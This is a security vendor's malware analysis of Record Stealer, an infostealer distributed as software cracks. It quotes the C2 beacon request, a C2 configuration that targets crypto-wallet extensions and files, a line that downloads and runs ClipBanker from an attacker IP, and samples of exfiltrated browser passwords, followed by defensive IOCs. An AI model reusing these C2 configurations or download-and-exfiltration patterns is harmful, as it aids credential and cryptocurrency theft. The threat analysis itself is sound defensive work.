

New Info-stealer Disguised as Crack Being Distributed

asec.ahnlab.com/en/35981/

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The ASEC analysis team has previously uploaded posts about various malware types that are being distributed by disguising themselves as software cracks and installers. CryptBot, RedLine, and Vidar are major example cases. Recently, a single malware type of RedLine has disappeared (it is still being distributed as a dropper type) and a new infostealer malware is being actively distributed instead. Its distribution became in full swing starting from May 20th, globally categorized as "Recordbreaker Stealer." Some analyses see it as a new version of Raccoon Stealer.




Figure 1. Webpages distributing the malware

The malware is created when users search for cracks, serial numbers, installers, etc. of commercial software and access the webpage to download and decompress files.

It is mainly distributed in an abnormally large size with a huge amount of padding added. The padding is inserted between the last section and the certificate area.

As such, the size of file downloaded from a website is between 3 to 7MB, while the size of the malware created upon decompressing the file is between 300 to 700MB. The malware icons use installer images or those of popular software. In some cases, it may be distributed in a typical packing method by dropper or downloader.




Figure 2. Malware icons

When the malware is run, it downloads additional libraries depending on the command from C2 (settings value) to collect various sensitive information from the user PC and send it back to C2. The target information for stealing is decided by the C2 settings. Additional malware strains may also be installed. The following figure shows the network behaviors for the overall execution flow.

Send identifier / Get config	HTTP	77.91.74.67	/
Download DLLs	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcpl40.dll
	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
Steal data	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
	HTTP	77.91.74.67	/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll
	HTTP	77.91.74.67	/1773a59d11b51132b6a27544b33b8f59
	HTTP	77.91.74.67	/1773a59d11b51132b6a27544b33b8f59
	HTTP	77.91.74.67	/1773a59d11b51132b6a27544b33b8f59

Figure 3. Information about network behaviors

When it first accesses C2, the malware sends the user name, MachineGUID value, and hard-coded key values within the sample and receives the settings data. The data includes the list of information that will be stolen and the download URL for the libraries needed to collect information.

```
POST / HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: record
Host: 45.142.212.100
Content-Length: 95
Connection: Keep-Alive
Pragma: no-cache

machineId=2a436123-51f4-43b3-00ac8702d6a|vmuser&confiId=fc6da5ae146a88c035ee85f8d230618d
```

Figure 4. Initial packet

```
transmitted to C2
l1bs_nss3:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
l1bs_msvcpl40:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcpl40.dll
l1bs_vcruntime140:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
l1bs_mozglue:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
l1bs_freebl3:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
l1bs_softokn3:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
ews_meta_e:ejbalbakoplchlghecdalmeeaejinimhm;MetaMask;Local Extension Settings
ews_tronl:ibnejdfjmkpcnlpbklmknkoehofec;TronLink;Local Extension Settings
l1bs_sqlite3:http://94.158.247.24/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
ews_bsc:fbhohimaeibohpjbb1dcngcnapnodjip;BinanceChain;Local Extension Settings
ews_ronin:fnjhmhkmkjbkkabndcnnogagobnec;Ronin;Local Extension Settings
w1ts_exodus:Exodus;26;exodus;:*partitio*;*cache*;*dictionar*
w1ts_atomic:Atomic;26;atomic;:*cache*;*IndexedDB*
w1ts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;:*cache*
w1ts_binance:binance;26;binance;*app-store.*;
w1ts_coinomi:coinomi;28;coinomi\coinomi\wallets.*;
w1ts_electrum:Electrum;26;Electrum\wallets.*;
w1ts_electlct:Electrum-LTC;26;Electrum-LTC\wallets.*;
```

Figure 5. Packet for receiving C2

settings data

Initial samples had different domains for C2 and downloading libraries, but recent samples use the same URL for both. The C2s for the malware do not tend to last long. In fact, about 2 – 3 samples with new C2 domains are being distributed in a single day. The malware uses the “record” string as a value for User-Agent when communicating with the C2.




Figure 6. User-Agent when communicating with C2

The targets for stealing in the settings data are mainly strings related to cryptocurrencies such as browser plugin wallets and open source wallets. It seems basic targets such as browser cookies, IDs, and passwords are chosen if the related libraries exist. The table below shows an example of the settings data for the analysis sample.

```

libs_nss3:http://146.19.247[.28/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll libs_mvscv140:http://146.19.247[.28/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
Extension Settings
ews_tronl:ibnejdfjimmkpcnlpebkblmknkoeiohofec;TronLink;Local Extension Settings libs_sqlite3:http://146.19.247[.28/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
ews_bsc:fhbohimaehbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings
ews_ronin:fnjhmkhmkbjkbnndcnnogagobneec;Ronin;Local Extension Settings
wlts_exodus:Exodus;26;exodus;*;partitio*;cache*;dictionar*
wlts_atomic:Atomic;26;atomic;*;cache*;IndexedDB*
wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;cache*
wlts_binance:Binance;26;Binance;*app-store.*;-
wlts_coinomi:Coinomi;28;Coinomi\Coinomi\wallets;*-
wlts_electrum:Electrum;26;Electrum\wallets;*-
wlts_electlc:Electrum-LTC;26;Electrum-LTC\wallets;*-
wlts_elecch:ElectronCash;26;ElectronCash\wallets;*-
wlts_guarda:Guarda;26;Guarda;*;cache*;IndexedDB*
wlts_green:BlockstreamGreen;28;Blockstream\Green;*;cache,gdk,*logs*
wlts_ledger:Ledger Live;26;Ledger Live;*;cache*;dictionar*;sqlite*
ews_ronin_e:kjmooohlgokeccodijfjefbomlbgfjhk;Ronin;Local Extension Settings
ews_meta:nkbihfboegaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings
sstmfnfo_System Info.txt:System Information:
|Installed applications:
|
libs_nssdbm3:http://146.19.247[.28/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll
wlts_daedalus:Daedalus;26;Daedalus Mainnet;*.log*;cache,chain,dictionar* wlts_mymonero:MyMonero;26;MyMonero;*;cache*
wlts_xmr:Monero;5;Monero\wallets;*.keys;- wlts_wasabi:Wasabi;26;WalletWasabi\Client;*.tor*;log* ews_metax:mcohilncbfahbmgdjkpbemccioi
ews_xdefi:hmeobnfnfcmkdcmlbgagmfpfboeaf;XDEFI;IndexedDB ews_waveskeeper:plbniiabackdjcionkobjlmddfbcjo;WavesKeeper;Local Exte
ews_solflare:bhhhlbepdkbapadjdnojqkbgioiodbic;Solflare;Local Extension Settings ews_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local
ews_cyano:dkdedlpgdmkfkjfabffeganiamfklkm;CyanoWallet;Local Extension Settings ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinl
ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings
ews_khc:hcfpincpppdclinealmandijcmnkbg;KHC;Local Extension Settings
ews_tezbox:mnfifeikajgofkjkemidiaecocnkjeh;TezBox;Local Extension Settings
ews_coin98:aeachknmefphecpcionboohckonoeemg;Coin98;Local Extension Settings
ews_temple:ookjlbkijinhpmnjffcojfonbfgaoc;Temple;Local Extension Settings
ews_iconex:flpicilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings
ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings
ews_clover:nhnbkbgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings ews_polymesh:jojhfloedkpglbfimdfabpdfjaoolaf;Polymes
ews_neoline:cphhlgmgameodnhkjdmkpanlelnohao;NeoLine;Local Extension Settings
ews_keplr:dmkamcknogkgcdfhbdcdgchachkejeap;Keplr;Local Extension Settings
ews_terra_e:ajkhoeiikighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings
ews_terra:aifbnfbobpmeekipheejimdpnlpgpp;TerraStation;Local Extension Settings ews_liquidity:kpfopkelmapcoipemfendmdcghnegimn;Liquidity
ews_saturn:nkddgncdjgjfcdamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings ews_guild:nanjmdknkhinifnkgdcggcfnhdaammj;GuildWa
ews_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings ews_tronlink:ibnejdfjimmkpcnlpebkblmknkoeiohofec;TronLink
ews_brave:odbfeeiidkbihmopkbjmoonfanlbfl;Brave;Local Extension Settings
ews_meta_e:ejbalbakoplchlghecdalmeeajnimhm;MetaMask;Local Extension Settings
ews_ronin_e:kjmooohlgokeccodijfjefbomlbgfjhk;Ronin;Local Extension Settings
ews_mewcx:nlbmnjcnlegkijpcjclmcfggfcdm;MEW_CX;Sync Extension Settings
ews_ton:cgeedopfagjceefielmdfphplkenlfk;TON;Local Extension Settings
ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings
ews_ton_ex:nphplpgoakhjhckhkmiggakijnkhfnd;TON;Local Extension Settings
scrnsht_Screenshot.jpeg:1
tlgrm_Telegram:Telegram Desktop\data[*]*emoji*;*user_data*;*dummy*;*dumps*
token:e1cf7053cd9066b051c048495a128811

```

Table 1. Full text for C2 response setting data

The sample steals basic system information, the list of installed programs, screenshots, data saved in browsers, and various cryptocurrency wallet information. The information that is stolen may vary depending on the C2's response. For example, one type of C2 does not steal screenshots but commands the malware to steal all txt files within the desktop and subfolders of My Documents.

```

-c94p58eyyL8AB1fr
Content-Disposition: form-data; name="file"; filename="\\ffcookies.txt"
Content-Type: application/x-object

www.ahnlab.com TRUE / FALSE 1675788338 WMONIDGxJZ9SwhOF9
.ahnlab.com TRUE / FALSE 1707291947 _ga GA1,2,217974775,1644219947
.ahnlab.com TRUE / FALSE 1644306347 _gid GA1,2,1373052111,164421994
.ahnlab.com TRUE / FALSE 1644220007 _gat 1
go.ahnlab.com TRUE / TRUE 1959579953 visitor_id938663 57688770
go.ahnlab.com TRUE / TRUE 1959579953 visitor_id938663-hash 2297e2551
go.ahnlab.com TRUE / TRUE 1644221753 ipv938663 aHR0cHM6Ly93d3c
www.ahnlab.com TRUE / FALSE 1959579953 visitor_id938663 57688770
www.ahnlab.com TRUE / FALSE 1959579953 visitor_id938663-hash 2297e2551
.ahnlab.com TRUE / FALSE 1644219986 _gali passwd
C:\Users\vmuser\AppData\Roaming\Mozilla\Firefox\Profiles\94klprm.default-release\
-c94p58eyyL8AB1fr
Content-Disposition: form-data; name="file"; filename="\\passwords.txt"
Content-Type: application/x-object

URL:https://www.ahnlab.com
USR:testff
PASS:asdads
C:\Users\vmuser\AppData\Roaming\Mozilla\Firefox\Profiles\94klprm.default-release\
-c94p58eyyL8AB1fr
Content-Disposition: form-data; name="file"; filename="\\autofill.txt"
Content-Type: application/x-object

```

Figure 7. Part of stolen data (Chrome browser)

Since June 17th, the C2s have been responding with settings value that downloads and runs additional malware besides libraries that will be used to steal information. The currently installed malware is ClipBanker (74744fc068f935608dff34ecd0eb1f96). It stays in the system by being registered in the task scheduler and changes the cryptocurrency wallet address string in the clipboard to that of the attacker. The history of related samples implies that the malware additionally installed other malware strains during the initial distribution stage.

The process of stealing information and installing ClipBanker is similar to that of CryptBot distribution. CryptBot is also being actively distributed at the moment.

CryptBot Infostealer Constantly Changing and Being Distributed

ldr_1: http://94.158.244[.119/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin]|%TEMP%|exe

Table 2. Settings value for installing additional malware

이름	상태	트리거
NodeJSEnvironmentUpdateTask	실행 중	2022-06-21 오후 2:50에 - 트리거된 후 무기한으로 5 분마다 반복합니다.

트리거	자세히	상태
한 번	2022-06-21 오후 2:50에 - 트리거된 후 무기한으로 5 분마다 반복합니다.	사용

Figure 8. ClipBanker registered to task scheduler

scheduler

The following table shows a part of the attacker's wallet address.

BTC
19iQuuqoVQPAtRhzm4GvNuM3bj4Nm29ByX
32h53ccRQW6Vyw4rqR22xmip34WcC6pnFL
bc1qnd4p4vh6zvq68s7m70dvuzejfq2rfmqdlzmmse

ETH
0xF22ffD5be6efc35390dfD044B7156CC56C5d41f8

DASH
Xb2miQJ1JjBJA6CTh1GYfDnzduSfRacTVg

DOGE
D7kjr9bTZCd4u8ws7KLvKsv71ai53vppJ

LTC
LUYBs28KD92zYYjG28gWq9GFvvsWE6KoeN

...

Table 3. Wallet address for alteration

One characteristic of Record Stealer is that it uses strings with certain meanings when decrypting strings it uses. At the initial stage, it used "credit19" as a key. Samples that are distributed after May 28th use the string "edinayarossiya".

```


v96 = 0;
v0 = sub_10F1806("Wl1fp6rW", &v96);
dword_10FEBCC = sub_10F855C(v0, &v96, "credit19");
v1 = sub_10F1806("SZZLig==", &v96);
dword_10FEBB0 = sub_10F855C(v1, &v96, "credit19");
v2 = sub_10F1806("S5Nap5g=", &v96);
dword_10FEA60 = sub_10F855C(v2, &v96, "credit19");
v3 = sub_10F1806("CZIxgZXcOhUn7hw5hU09bkZiSb1i5jA=", &v96);

v109 = 0;
v0 = sub_371806("fVQMox8c", &v109);
dword_37EBF8 = sub_378746(v0, &v109, "edinayarossiya");
v1 = sub_371806("bE8Yjg==", &v109);
dword_37EBDC = sub_378746(v1, &v109, "edinayarossiya");
v2 = sub_371806("bkoJoy0=", &v109);
dword_37EA60 = sub_378746(v2, &v109, "edinayarossiya");
v3 = sub_371806("LEtihSAW6eunMDV+Aes3rVhAClFoaQM=", &v109);

```

Figure 9.

RC4 key changed



Figure

10. String translated (meaning Russian Federation)

The sample has a code that checks if the user's default locale (language) is Russian, but the result does not make any difference for the behaviors.

BE 00E02901	MOV ESI,OFFSET 0129E000	PTR to UNICODE "ru"
FF36	PUSH DWORD PTR DS:[ESI]	
A1 68E12901	MOV EAX,DWORD PTR DS:[129E168]	
8D8D 1CFFFFFF	LEA ECX,[EBP-0E4]	
51	PUSH ECX	
FFD0	CALL EAX	Shlwapi.StrStrIW
85C0	TEST EAX,EAX	
75 0B	JNZ SHORT 012975B5	
83C6 04	ADD ESI,4	
81FE 04E0290	CMP ESI,OFFSET 0129E004	
75 E1	JNE SHORT 01297596	

Figure 11. Code for checking if the

system is in Russian

Because malware distributed by being disguised as software cracks has diverse variants and is distributed in large amounts, users need to take caution. They should not download files from untrusted websites. Also, executables that are downloaded after multiple redirections are most likely to be malicious files. Moreover, if the file's size increases to an abnormal degree after being decompressed, it might be the case discussed earlier in this post.

AhnLab products detect and block the malware type using the following aliases:

- Infostealer/Win.RecordStealer.R498039
- Infostealer/Win.RecordStealer.R500009
- Infostealer/Win.PassStealer.R496906
- Trojan/Win.ClipBanker.C5166957
- and more

The IOC information of the distributed samples is as follows:

[IOC Information]

```

332790b27d3492dbcfb053213be95aa6
2d355ad6f26126ab10939bc68818df20
bc1d075b6bd88430bd6ba076a31a75db
4ef6f8d71a4855a4a6c87a1d09d91924
4a2c4c69b3ff3ced4b5f32621e4afb1e
ece994c1a16e969a20e859bbcc3300c2
0f8b9dddaf33692f797af885053458c0
8f8baad3738978e89aecf930a55a8840
e4f748b9433a7b31d436ae2620a5dc9f
4c4adbe5b0c006c383ada4b51d576367
3dfd7a1091eb03c8ffe03306d069081d
8cf1861aa02965cab5cf1dc1ed0821ad
42ba0500b667c71c4fbbe8f66e1b2627
445688259f0f04de4a03f0daeccd2d9
43accad6e9abf5820c943ef2cb5c175f
3fd4c095ae9b1e99f060e7ee88244789
e8cd7da72640c0c7b89d769672d65958
90298e10dea99d7d091cfef8e15a9367

```

7699b02b0b1f7e26c26ebd01d65a62e7
7fce82d24080babb0e6e41ba9e79c1a3
d859c09c137225f836172bc1d4cc6f21
34df81354b6bf1f0eafa5df2a3e5f71e
971e560202527bacef605d43d0d213d0
97434bd88a152935fc38ed202f008295
ac1c7bcac4c30448c511de68ee48a146
f2feaff126f48ea93e05545edef8c0a
72861a83b24ee675777eae268cea9c9
6c1405a8f9d898efcd1a7a8daa274b50
b7f90be034d815963a66195b4fd90be3
d2b11235ef8cd5b6fd8d0fb684d3b47a
755556a2d66e514997efde062e0d9a65
172aa3fedfccef804e75d3b042661bc8
02b4bc8444cbbe15c4d5cac0c64dbd40
fd6557f07bdd0e5771da4bb1613eb6aa
4086f7c1840a0eb2d625e012e837d709
9d6d5dd372b5b51e3c4ca12d9bba3eb9
d0080ca076e3ea423bdf986bca75efd8
baf62ea48663cbdae773f4204f0d2ea8
6a4e01b36a7d4f53ebc168d7477f0314
383ff41fe40807f54610dd41f7822bc
330586deef7c0ee8e1ee22b2f9300bd3
cf763bea41f97b855ad031881cb36346
5c3e7c8e0e1f48afe73a0b4d5b99f971
465ba05174a883a48bfb911c2099d79b
47c7c7ae4eb4138c608d909242890b9b
92cff39131418d225d1b9ae594439e9
358a4e60b39dd676e335d72b5e51b7b6
4b2d29759c9fb05e3189624d65e0c68b
dd68d80e3a192c961f6e4d9f82e5e61f
22254f2affcaf0ff51f134d9d7a6cdd0
3d62a1947d7bd2e080bf01a335641758
6deaaf1ee18ce9f1c3d4e87500935dab
7c6364e6de8f2cb2ad40b277e75c254f
27c6b342acbcc0948617e6a717d3bc6
6230b5b503f3bc949d00ff9b6fb48dc8
d5e3261429d0da5d4e888fc9fa620a96
f8c5748e420dc63e9cfb5e586b52949a
6952c23c148f4c33d540ff07d16848f2
45b25bfbdc596dd652afb9f726687e7
b49e7a4fa840f1dcb3fa32c239b407e1
5346cbb4b4c97b45026bbc694fd2b74
10f3c06147e8c5ab5f970564680f25c4
f5051b4b9c770dc6ce3eae3b4356b699
f3ab4622e89cfcc106fc6c7be97ce812
b7ab0f8dd254d76a653e594ba9263b90
fcc8ec86b1b37000a72b2ca6e716919a
ba53ebc4c10ae6b2730eab30744a126f
21f227e36b03b02ee251e2e4bca9573b
8f05bddab4ecf2ba1d16df55a56de98f
ab5f3b6a6cbf4b9d7d4f3166a80140bd
a047cd8946a904d0de370dab092bfd5a
945240b56128fb9b334ca47726b0a87e
4a07d469ca9874200633c00f5bd76452
e7c7c64698966c7ecd71b1909be71a21
8b9498705419be67bc3063731d43777f
34371b979ad262c7af09c5dfe0418229
074e3f68a87a7eed362466c685ca4190
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194.180.174[.]180
94.158.244[.]213
45.142.212[.]100
45.140.146[.]169
194.180.174[.]187
194.180.174[.]186
brain-lover[.]xyz
135.181.105[.]89
load-brain[.]xyz
77.91.102[.]88
use-freedom[.]xyz
software-load[.]xyz
interactive-soft[.]xyz
77.91.103[.]31
broke-bridge[.]xyz
94.158.247[.]24
just-trust[.]xyz
really-software[.]xyz
feel-quite[.]xyz
viper-air[.]xyz
polar-gift[.]xyz
retro-rave[.]xyz
cool-story[.]xyz
fall2sleep[.]xyz
heal-brain[.]xyz
tech-lover[.]xyz
love-light[.]xyz
soft-viper[.]site
side-soft[.]site
both-those[.]xyz
violance-heck[.]site
main-soft[.]site
85.239.34[.]235
fill-empty[.]xyz
cover-you[.]site
45.67.34[.]234
45.67.34[.]238
45.142.215[.]92
fall-hire[.]site
violance-rave[.]site
45.153.230[.]183
45.152.86[.]98
74.119.193[.]57
77.91.74[.]67
146.19.247[.]28
77.91.102[.]115
45.159.251[.]21
146.19.247[.]52
45.142.215[.]50
45.150.67[.]175
45.133.216[.]170
193.43.146[.]22
193.43.146[.]26
146.70.124[.]71
193.43.146[.]17
146.19.75[.]8
45.84.0[.]152
45.133.216[.]249
45.67.34[.]152
45.133.216[.]145

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